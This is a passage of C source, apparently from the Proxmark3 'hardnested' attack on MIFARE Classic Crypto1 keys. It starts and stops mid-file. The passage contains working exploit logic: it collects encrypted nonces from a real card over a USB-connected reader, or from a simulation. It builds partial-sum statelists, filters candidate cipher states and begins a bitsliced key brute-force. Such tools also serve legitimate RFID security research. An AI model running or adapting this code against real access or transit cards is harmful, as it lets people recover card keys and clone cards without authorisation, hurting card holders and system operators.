707 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
708 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
709
710 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
711 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
712
713 do {
714 uint32_t nt_enc = 0;
715 uint8_t par_enc = 0;
716
717 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
718 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
719 total_added_nonces += add_nonce(nt_enc, par_enc);
720 total_num_nonces++;
721
722 if (first_byte_num == 256 ) {
723 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
724 if (!filter_flip_checked) {
725 Check_for_FilterFlipProperties();
726 filter_flip_checked = true;
727 }
728 num_good_first_bytes = estimate_second_byte_sum();
729 if (total_num_nonces > next_fivehundred) {
730 next_fivehundred = (total_num_nonces/500+1) * 500;
731 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
732 total_num_nonces,
733 total_added_nonces,
734 CONFIDENCE_THRESHOLD * 100.0,
735 num_good_first_bytes);
736 }
737 }
738
739 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
740
741 time1 = clock() - time1;
742 if ( time1 > 0 ) {
743 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
744 total_num_nonces,
745 ((float)time1)/CLOCKS_PER_SEC,
746 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
747 }
748 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
749
750 }
751
752 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
753 {
754 clock_t time1 = clock();
755 bool initialize = true;
756 bool field_off = false;
757 bool finished = false;
758 bool filter_flip_checked = false;
759 uint32_t flags = 0;
760 uint8_t write_buf[9];
761 uint32_t total_num_nonces = 0;
762 uint32_t next_fivehundred = 500;
763 uint32_t total_added_nonces = 0;
764 FILE *fnonces = NULL;
765 UsbCommand resp;
766
767 printf("Acquiring nonces...\n");
768
769 clearCommandBuffer();
770
771 do {
772 flags = 0;
773 flags |= initialize ? 0x0001 : 0;
774 flags |= slow ? 0x0002 : 0;
775 flags |= field_off ? 0x0004 : 0;
776 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}};
777 memcpy(c.d.asBytes, key, 6);
778
779 SendCommand(&c);
780
781 if (field_off) finished = true;
782
783 if (initialize) {
784 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1;
785 if (resp.arg[0]) return resp.arg[0]; // error during nested_hard
786
787 cuid = resp.arg[1];
788 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
789 if (nonce_file_write && fnonces == NULL) {
790 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
791 PrintAndLog("Could not create file nonces.bin");
792 return 3;
793 }
794 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
795 num_to_bytes(cuid, 4, write_buf);
796 fwrite(write_buf, 1, 4, fnonces);
797 fwrite(&trgBlockNo, 1, 1, fnonces);
798 fwrite(&trgKeyType, 1, 1, fnonces);
799 }
800 }
801
802 if (!initialize) {
803 uint32_t nt_enc1, nt_enc2;
804 uint8_t par_enc;
805 uint16_t num_acquired_nonces = resp.arg[2];
806 uint8_t *bufp = resp.d.asBytes;
807 for (uint16_t i = 0; i < num_acquired_nonces; i+=2) {
808 nt_enc1 = bytes_to_num(bufp, 4);
809 nt_enc2 = bytes_to_num(bufp+4, 4);
810 par_enc = bytes_to_num(bufp+8, 1);
811
812 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
813 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
814 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
815 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
816
817
818 if (nonce_file_write) {
819 fwrite(bufp, 1, 9, fnonces);
820 }
821
822 bufp += 9;
823 }
824
825 total_num_nonces += num_acquired_nonces;
826 }
827
828 if (first_byte_num == 256 ) {
829 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
830 if (!filter_flip_checked) {
831 Check_for_FilterFlipProperties();
832 filter_flip_checked = true;
833 }
834 num_good_first_bytes = estimate_second_byte_sum();
835 if (total_num_nonces > next_fivehundred) {
836 next_fivehundred = (total_num_nonces/500+1) * 500;
837 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
838 total_num_nonces,
839 total_added_nonces,
840 CONFIDENCE_THRESHOLD * 100.0,
841 num_good_first_bytes);
842 }
843 if (num_good_first_bytes >= GOOD_BYTES_REQUIRED) {
844 field_off = true; // switch off field with next SendCommand and then finish
845 }
846 }
847
848 if (!initialize) {
849 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
850 fclose(fnonces);
851 return 1;
852 }
853 if (resp.arg[0]) {
854 fclose(fnonces);
855 return resp.arg[0]; // error during nested_hard
856 }
857 }
858
859 initialize = false;
860
861 } while (!finished);
862
863
864 if (nonce_file_write) {
865 fclose(fnonces);
866 }
867
868 time1 = clock() - time1;
869 if ( time1 > 0 ) {
870 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
871 total_num_nonces,
872 ((float)time1)/CLOCKS_PER_SEC,
873 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
874 );
875 }
876 return 0;
877 }
878
879 static int init_partial_statelists(void)
880 {
881 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
882 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
883
884 printf("Allocating memory for partial statelists...\n");
885 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
886 for (uint16_t i = 0; i <= 16; i+=2) {
887 partial_statelist[i].len[odd_even] = 0;
888 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
889 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
890 if (partial_statelist[i].states[odd_even] == NULL) {
891 PrintAndLog("Cannot allocate enough memory. Aborting");
892 return 4;
893 }
894 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
895 partial_statelist[i].index[odd_even][j] = NULL;
896 }
897 }
898 }
899
900 printf("Generating partial statelists...\n");
901 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
902 uint32_t index = -1;
903 uint32_t num_of_states = 1<<20;
904 for (uint32_t state = 0; state < num_of_states; state++) {
905 uint16_t sum_property = PartialSumProperty(state, odd_even);
906 uint32_t *p = partial_statelist[sum_property].states[odd_even];
907 p += partial_statelist[sum_property].len[odd_even];
908 *p = state;
909 partial_statelist[sum_property].len[odd_even]++;
910 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
911 if ((state & index_mask) != index) {
912 index = state & index_mask;
913 }
914 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
915 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
916 }
917 }
918 // add End Of List markers
919 for (uint16_t i = 0; i <= 16; i += 2) {
920 uint32_t *p = partial_statelist[i].states[odd_even];
921 p += partial_statelist[i].len[odd_even];
922 *p = 0xffffffff;
923 }
924 }
925
926 return 0;
927 }
928
929 static void init_BitFlip_statelist(void)
930 {
931 printf("Generating bitflip statelist...\n");
932 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
933 uint32_t index = -1;
934 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
935 for (uint32_t state = 0; state < (1 << 20); state++) {
936 if (filter(state) != filter(state^1)) {
937 if ((state & index_mask) != index) {
938 index = state & index_mask;
939 }
940 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
941 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
942 }
943 *p++ = state;
944 }
945 }
946 // set len and add End Of List marker
947 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
948 *p = 0xffffffff;
949 statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
950 }
951
952 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
953 {
954 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
955
956 if (p == NULL) return NULL;
957 while (*p < (state & mask)) p++;
958 if (*p == 0xffffffff) return NULL; // reached end of list, no match
959 if ((*p & mask) == (state & mask)) return p; // found a match.
960 return NULL; // no match
961 }
962
963 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
964 {
965 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
966 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
967 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
968 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
969 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
970 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
971 return !all_diff;
972 }
973
974 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
975 {
976 uint_fast8_t j_bit_mask = 0x01 << bit;
977 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
978 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
979 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
980 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
981 return all_diff;
982 }
983
984 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
985 {
986 if (odd_even) {
987 // odd bits
988 switch (num_common_bits) {
989 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
990 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
991 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
992 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
993 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
994 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
995 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
996 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
997 }
998 } else {
999 // even bits
1000 switch (num_common_bits) {
1001 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
1002 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
1003 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
1004 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
1005 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
1006 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
1007 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
1008 }
1009 }
1010
1011 return true; // valid state
1012 }
1013
1014 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1015 {
1016 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1017 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1018 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1019 uint_fast8_t j = common_bits(bytes_diff);
1020 uint32_t mask = 0xfffffff0;
1021 if (odd_even == ODD_STATE) {
1022 mask >>= j/2;
1023 } else {
1024 mask >>= (j+1)/2;
1025 }
1026 mask &= 0x000fffff;
1027 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1028 bool found_match = false;
1029 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1030 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1031 if (r*(16-s) + (16-r)*s == sum_a8) {
1032 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1033 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1034 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1035 if (p != NULL) {
1036 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1037 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1038 found_match = true;
1039 // if ((odd_even == ODD_STATE && state == test_state_odd)
1040 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1041 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1042 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1043 // }
1044 break;
1045 } else {
1046 // if ((odd_even == ODD_STATE && state == test_state_odd)
1047 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1048 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1049 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1050 // }
1051 }
1052 p++;
1053 }
1054 } else {
1055 // if ((odd_even == ODD_STATE && state == test_state_odd)
1056 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1057 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1058 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1059 // }
1060 }
1061 }
1062 }
1063 }
1064
1065 if (!found_match) {
1066 // if ((odd_even == ODD_STATE && state == test_state_odd)
1067 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1068 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1069 // }
1070 return false;
1071 }
1072 }
1073
1074 return true;
1075 }
1076
1077 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1078 {
1079 for (uint16_t i = 0; i < 256; i++) {
1080 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1081 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1082 uint_fast8_t j = common_bits(bytes_diff);
1083 uint32_t mask = 0xfffffff0;
1084 if (odd_even == ODD_STATE) {
1085 mask >>= j/2;
1086 } else {
1087 mask >>= (j+1)/2;
1088 }
1089 mask &= 0x000fffff;
1090 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1091 bool found_match = false;
1092 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1093 if (p != NULL) {
1094 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1095 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1096 found_match = true;
1097 // if ((odd_even == ODD_STATE && state == test_state_odd)
1098 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1099 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1100 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1101 // }
1102 break;
1103 } else {
1104 // if ((odd_even == ODD_STATE && state == test_state_odd)
1105 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1106 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1107 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1108 // }
1109 }
1110 p++;
1111 }
1112 } else {
1113 // if ((odd_even == ODD_STATE && state == test_state_odd)
1114 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1115 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1116 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1117 // }
1118 }
1119 if (!found_match) {
1120 // if ((odd_even == ODD_STATE && state == test_state_odd)
1121 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1122 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1123 // }
1124 return false;
1125 }
1126 }
1127
1128 }
1129
1130 return true;
1131 }
1132
1133 static struct sl_cache_entry {
1134 uint32_t *sl;
1135 uint32_t len;
1136 } sl_cache[17][17][2];
1137
1138 static void init_statelist_cache(void)
1139 {
1140 for (uint16_t i = 0; i < 17; i+=2) {
1141 for (uint16_t j = 0; j < 17; j+=2) {
1142 for (uint16_t k = 0; k < 2; k++) {
1143 sl_cache[i][j][k].sl = NULL;
1144 sl_cache[i][j][k].len = 0;
1145 }
1146 }
1147 }
1148 }
1149
1150 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1151 {
1152 uint32_t worstcase_size = 1<<20;
1153
1154 // check cache for existing results
1155 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1156 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1157 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1158 return 0;
1159 }
1160
1161 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1162 if (candidates->states[odd_even] == NULL) {
1163 PrintAndLog("Out of memory error.\n");
1164 return 4;
1165 }
1166 uint32_t *add_p = candidates->states[odd_even];
1167 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != 0xffffffff; p1++) {
1168 uint32_t search_mask = 0x000ffff0;
1169 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1170 if (p2 != NULL) {
1171 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) {
1172 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1173 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1174 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1175 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1176 *add_p++ = (*p1 << 4) | *p2;
1177 }
1178 }
1179 }
1180 p2++;
1181 }
1182 }
1183 }
1184
1185 // set end of list marker and len
1186 *add_p = 0xffffffff;
1187 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1188
1189 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1190
1191 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1192 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1193
1194 return 0;
1195 }
1196
1197 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1198 {
1199 statelist_t *new_candidates = NULL;
1200 if (current_candidates == NULL) {
1201 if (candidates == NULL) {
1202 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1203 }
1204 new_candidates = candidates;
1205 } else {
1206 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1207 }
1208 new_candidates->next = NULL;
1209 new_candidates->len[ODD_STATE] = 0;
1210 new_candidates->len[EVEN_STATE] = 0;
1211 new_candidates->states[ODD_STATE] = NULL;
1212 new_candidates->states[EVEN_STATE] = NULL;
1213 return new_candidates;
1214 }
1215
1216 static void TestIfKeyExists(uint64_t key)
1217 {
1218 struct Crypto1State *pcs;
1219 pcs = crypto1_create(key);
1220 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1221
1222 uint32_t state_odd = pcs->odd & 0x00ffffff;
1223 uint32_t state_even = pcs->even & 0x00ffffff;
1224 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1225
1226 uint64_t count = 0;
1227 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1228 bool found_odd = false;
1229 bool found_even = false;
1230 uint32_t *p_odd = p->states[ODD_STATE];
1231 uint32_t *p_even = p->states[EVEN_STATE];
1232 while (*p_odd != 0xffffffff) {
1233 if ((*p_odd & 0x00ffffff) == state_odd) {
1234 found_odd = true;
1235 break;
1236 }
1237 p_odd++;
1238 }
1239 while (*p_even != 0xffffffff) {
1240 if ((*p_even & 0x00ffffff) == state_even) {
1241 found_even = true;
1242 }
1243 p_even++;
1244 }
1245 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1246 if (found_odd && found_even) {
1247 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.",
1248 count, log(count)/log(2),
1249 maximum_states, log(maximum_states)/log(2),
1250 (count>>23)/60);
1251 if (write_stats) {
1252 fprintf(fstats, "1\n");
1253 }
1254 crypto1_destroy(pcs);
1255 return;
1256 }
1257 }
1258
1259 printf("Key NOT found!\n");
1260 if (write_stats) {
1261 fprintf(fstats, "0\n");
1262 }
1263 crypto1_destroy(pcs);
1264 }
1265
1266 static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1267 {
1268 printf("Generating crypto1 state candidates... \n");
1269
1270 statelist_t *current_candidates = NULL;
1271 // estimate maximum candidate states
1272 maximum_states = 0;
1273 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1274 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1275 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1276 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1277 }
1278 }
1279 }
1280 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0));
1281
1282 init_statelist_cache();
1283
1284 for (uint16_t p = 0; p <= 16; p += 2) {
1285 for (uint16_t q = 0; q <= 16; q += 2) {
1286 if (p*(16-q) + (16-p)*q == sum_a0) {
1287 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1288 p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1289 for (uint16_t r = 0; r <= 16; r += 2) {
1290 for (uint16_t s = 0; s <= 16; s += 2) {
1291 if (r*(16-s) + (16-r)*s == sum_a8) {
1292 current_candidates = add_more_candidates(current_candidates);
1293 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1294 // and eliminate the need to calculate the other part
1295 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1296 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1297 add_matching_states(current_candidates, p, r, ODD_STATE);
1298 if(current_candidates->len[ODD_STATE]) {
1299 add_matching_states(current_candidates, q, s, EVEN_STATE);
1300 } else {
1301 current_candidates->len[EVEN_STATE] = 0;
1302 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1303 *p = 0xffffffff;
1304 }
1305 } else {
1306 add_matching_states(current_candidates, q, s, EVEN_STATE);
1307 if(current_candidates->len[EVEN_STATE]) {
1308 add_matching_states(current_candidates, p, r, ODD_STATE);
1309 } else {
1310 current_candidates->len[ODD_STATE] = 0;
1311 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1312 *p = 0xffffffff;
1313 }
1314 }
1315 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1316 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1317 }
1318 }
1319 }
1320 }
1321 }
1322 }
1323
1324
1325 maximum_states = 0;
1326 for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) {
1327 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1328 }
1329 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0));
1330 if (write_stats) {
1331 if (maximum_states != 0) {
1332 fprintf(fstats, "%1.1f;", log(maximum_states)/log(2.0));
1333 } else {
1334 fprintf(fstats, "%1.1f;", 0.0);
1335 }
1336 }
1337 }
1338
1339 static void free_candidates_memory(statelist_t *sl)
1340 {
1341 if (sl == NULL) {
1342 return;
1343 } else {
1344 free_candidates_memory(sl->next);
1345 free(sl);
1346 }
1347 }
1348
1349 static void free_statelist_cache(void)
1350 {
1351 for (uint16_t i = 0; i < 17; i+=2) {
1352 for (uint16_t j = 0; j < 17; j+=2) {
1353 for (uint16_t k = 0; k < 2; k++) {
1354 free(sl_cache[i][j][k].sl);
1355 }
1356 }
1357 }
1358 }
1359
1360 uint64_t foundkey = 0;
1361 size_t keys_found = 0;
1362 size_t bucket_count = 0;
1363 statelist_t* buckets[128];
1364 size_t total_states_tested = 0;
1365 size_t thread_count = 4;
1366
1367 // these bitsliced states will hold identical states in all slices
1368 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
1369
1370 // arrays of bitsliced states with identical values in all slices
1371 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
1372 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
1373
1374 #define EXACT_COUNT
1375
1376 static const uint64_t crack_states_bitsliced(statelist_t *p){
1377 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1378 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1379 uint64_t key = -1;
1380 uint8_t bSize = sizeof(bitslice_t);
1381
1382 #ifdef EXACT_COUNT
1383 size_t bucket_states_tested = 0;
1384 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1385 #else
1386 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1387 #endif
1388
1389 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1390 size_t bitsliced_blocks = 0;
1391 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1392
1393 // bitslice all the even states
1394 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1395
1396 #ifdef __WIN32
1397 #ifdef __MINGW32__
1398 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1399 #else
1400 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1401 #endif
1402 #else
1403 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1404 #endif
1405
1406 if ( !lstate_p ) {
1407 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1408 return key;
1409 }
1410
1411 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
1412
1413 // bitslice even half-states
1414 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
